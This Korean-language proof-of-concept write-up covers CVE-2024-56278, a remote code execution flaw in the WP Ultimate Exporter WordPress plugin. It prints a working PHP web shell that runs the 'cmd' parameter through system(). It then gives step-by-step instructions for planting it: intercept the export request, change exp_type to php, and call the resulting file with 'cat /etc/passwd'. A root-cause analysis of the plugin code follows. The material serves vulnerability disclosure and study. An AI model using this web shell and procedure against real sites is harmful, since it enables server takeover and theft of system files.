
CVE-2024-56278에 대한 개념 증명 익스플로잇으로, WP Ultimate Exporter WordPress 플러그인의 원격 코드 실행 취약점을 악용하여 파일 업로드를 통한 PHP 웹셸 배포를 시연합니다.
WordPress 플러그인
구성 요소 이름 WP Ultimate Exporter
취약한 버전 <= 2.9.1
구성 요소 슬러그 wp-ultimate-exporter
구성 요소 링크 https://wordpress.org/plugins/wp-ultimate-exporter/
취약점 클래스 A4: 안전하지 않은 설계
취약점 유형 원격 코드 실행 (RCE)
관리자
WP Ultimate Exporter 플러그인은 WP Ultimate CSV Importer 플러그인의 애드온입니다. 이 플러그인은 모든 게시물, 제품, 주문, 환불 및 사용자 데이터를 CSV, XLS, XML 및 JSON 형식으로 내보낼 수 있게 해줍니다. 내보낼 때 파일이 업로드 경로에 생성되며, 플러그인은 해당 파일의 내용만 사용자에게 전달합니다.
WP Ultimate Exporter 플러그인 버전 2.9.1 이하에서 데이터 내보내기를 요청할 때, 요청 데이터의 파일 확장자가 PHP로 설정된 경우 업로드 경로에 PHP 파일이 생성됩니다. 따라서 생성된 파일의 내용에 PHP 구문이 포함되어 있으면 해당 파일에 접근할 때 PHP 구문이 실행되므로 원격 코드 실행(RCE) 취약점이 발생합니다.
⚠️ 'WP Ultimate Exporter' 플러그인은 'WP Ultimate CSV Importer' 플러그인의 애드온이므로 두 플러그인을 모두 설치해야 합니다.
코드 편집기(단축키: ⇧ ⌥ ⌘ M)를 사용하여 다음 내용으로 새 게시물을 작성합니다:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
WP Ultimate Exporter 플러그인의 'Export' 탭으로 이동합니다. WP Ultimate CSV Importer 플러그인 대시보드(/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu)에서 'Export' 탭을 클릭하여 접근할 수 있습니다.
프록시 도구(예: BurpSuite)를 실행하여 요청 패킷을 가로채고, Intercept를 활성화한 상태에서 다음 단계를 진행합니다.
다음으로, 'Select the module to Export Data'에서 'Posts'를 선택하고 다음 단계로 진행합니다.

Export File Name 'webshell' 입력Advanced Settings 'CSV' 선택
/wp-admin/admin-ajax.php URL로 POST 메서드 요청이 전송됩니다. 요청 데이터의 exp_type 값을 csv에서 php로 변경한 다음 Forward를 클릭합니다.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd를 입력하여 WordPress가 설치된 서버의 /etc/passwd 파일 내용을 표시합니다. 이는 RCE 취약점을 입증합니다.
WP Ultimate Exporter 플러그인에서 데이터를 내보낼 때 /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php 파일의 parseData 함수가 호출됩니다.
이 시점에서 내보내기 데이터 형식을 결정하는 요청 데이터 exp_type에 대한 필터링이 수행되지 않으며, 해당 값이 멤버 변수 $this->exportType에 직접 삽입됩니다.

이후 proceedExport 함수가 호출되어 데이터를 파일로 저장합니다. 이 시점에서 파일 저장 경로를 지정하는 변수 $file을 초기화할 때 멤버 변수 $this->exportType도 필터링 없이 사용됩니다.

이후 변수 $file에 저장된 파일 경로가 file_put_contents 함수의 인수로 전달되며, 이 시점에서 요청 데이터 exp_type에 지정된 확장자가 직접 적용된 상태로 파일이 저장됩니다.

따라서 웹 셸 코드가 포함된 게시물 데이터가 PHP 파일로 저장되고 해당 파일에 접근하면 PHP 코드가 실행되므로 원격 코드 실행(RCE) 취약점이 발생합니다.


그런 다음 다음 명령을 입력하여 PoC 코드를 실행합니다.
필수 모듈requests
python poc.py
